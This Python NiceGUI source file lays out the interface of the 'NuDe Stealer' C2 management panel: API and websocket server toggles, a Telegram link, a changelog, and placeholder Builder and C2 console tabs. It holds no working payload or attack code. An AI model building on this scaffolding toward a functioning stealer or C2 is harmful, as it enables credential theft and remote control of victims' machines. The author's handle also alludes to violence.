import threading
import nicegui as ux
from nicegui import ui
from serverside.helpers.config import get
from serverside.consts import __title__, running_tasks
from ui.ui_utils import change_data

PRIMARY = "bg-[#1E1E1E] text-white"
TITLE_SIZE = "text-[3rem] font-bold"
SUBTITLE_SIZE = "text-xl italic"
FOOTER_SIZE = "text-md italic"

def start_page():
    ui.label("Welcome to the NuDe Stealer & C2 Management Panel!").classes("text-2xl font-bold text-center")

    with ui.row().classes("w-full items-center px-6 py-3 gap-8"):
        if 'server' in running_tasks:
            ui.button("Stop API").props("icon=build color=pink-5").classes("w-full")
        else:
            ui.button("Start API").props("icon=build color=pink-3").classes("w-full")
        
        if 'ws_server' in running_tasks:
            ui.button("Stop WS").props("icon=build color=pink-5").classes("w-full")
        else:
            ui.button("Start WS").props("icon=build color=pink-3").classes("w-full")
        ui.button("Join Telegram").props("icon=code color=purple-11").classes("w-full")

        ui.input(label="API port", placeholder="seegore", value=get("network", "port", fallback="80"), on_change=lambda e: change_data("api_port", e.value)).props("inline color=pink-3").classes("w-full")

        with ui.card().classes("w-full bg-[#1E1E1E] text-white rounded-lg border-2 border-pink-300 p-4"):
            ui.label("NuDeStealer is an R&D post-exploitation C2 cross-platform framework written in a combination of V-lang and python, suitable for any red team operations you might have in mind.").classes("text-md")

    ui.label("Changelog:").classes("text-2xl font-bold text-center")
    ui.label("23/02/2026 - ~0xschoolshooter").classes("text-lg text-center")
    with ui.element().classes("w-full overflow-y-auto rounded-lg border-2 border-pink-300 p-4"):
        ui.label("- Initial release of the NuDeStealer C2 Server UI.").classes("text-md")
        ui.label("- Features a lightweight and modern interface for managing your C2 server.").classes("text-md")
        ui.label("- Server-side encryption.").classes("text-md")
        ui.label("- UI/UX improvements.").classes("text-md")
        ui.label("- Features Build page for creating payload samples.").classes("text-md")

def builder_page():
    ui.label("Builder coming soon...").classes("text-2xl font-bold text-center")

def c2_page():
    ui.label("C2 Console coming soon...").classes("text-2xl font-bold text-center")

def acc_settings_page():
    ui.label("Account Settings coming soon...").classes("text-2xl font-bold text-center")

def credits_page():
    ui.label("Credits").classes("text-2xl font-bold text-center")
    ui.label("Software Solutions created by 0xschoolshooter").classes("text-lg text-center")

@ui.page("/")
def landing_page():
    #ui.colors(primary="#1E1E1E")

    ui.add_head_html('''
<link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet">
''')
    ui.add_css("""
body {
    font-family: "Montserrat", sans-serif;
}
""")
    
    ui.add_css("""
.fade-out {
    transition: opacity 1.5s ease;
    opacity: 0;
}
""")

    with ui.row().classes(
        "w-full items-center px-6 py-3 gap-8"
    ):
        ui.label(
            get("general", "app_name", fallback="NuDe Stealer C2")
        ).classes(f"{TITLE_SIZE} {PRIMARY}")

        with ui.tabs() as tabs:
            ui.tab("Start", icon="start")
            ui.tab("Builder", icon="fingerprint")
            ui.tab("C2 CONSOLE", icon="terminal")
            ui.tab("Account Settings", icon="settings")
            ui.tab("Credits", icon="coffee")

        with ui.element().classes("w-full flex-1 px-3 py-3 flex justify-center"):
            with ui.element().classes(
                "w-full h-full p-4 rounded-2xl border-4 border-pink-300 shadow-lg flex flex-col"
            ):
                with ui.tab_panels(tabs, value="Start").classes("w-full h-full bg-transparent flex-1"):
                    with ui.tab_panel("Start"):
                        start_page()
                    with ui.tab_panel("Builder"):
                        builder_page()
                    with ui.tab_panel("C2 CONSOLE"):
                        c2_page()
                    with ui.tab_panel("Account Settings"):
                        acc_settings_page()
                    with ui.tab_panel("Credits"):
                        credits_page()


    footer = ui.footer().classes(f"{PRIMARY} justify-center")
    with footer:
        ui.label("Software Solutions created by 0xschoolshooter").classes(FOOTER_SIZE)
    def fade_footer():
        footer.style("opacity: 0; transition: opacity 1.5s ease;")

    ui.timer(5.0, fade_footer, once=True)

"""video_uri = Path(__file__).resolve().parent.joinpath("assets/25519.mp4").as_uri()
v=ui.video(
    video_uri,
    autoplay=True,
    loop=True,
    muted=True,
    controls=False,
).style(
    "position: fixed; top: 0; left: 0; width: 100%; height: 100%; "
    "object-fit: cover; z-index: -1;"
)
v.on("ended", lambda _: ui.open("/home"))"""

def start_ui():
    threading.Thread(target=start_ui_thread, daemon=True).start()

def start_ui_thread():
    ux.ui.run(title=__title__, reload=False, native=True, port=int(get("ui", "port", fallback=8080)), dark=True, show=False, window_size=(1050, 700))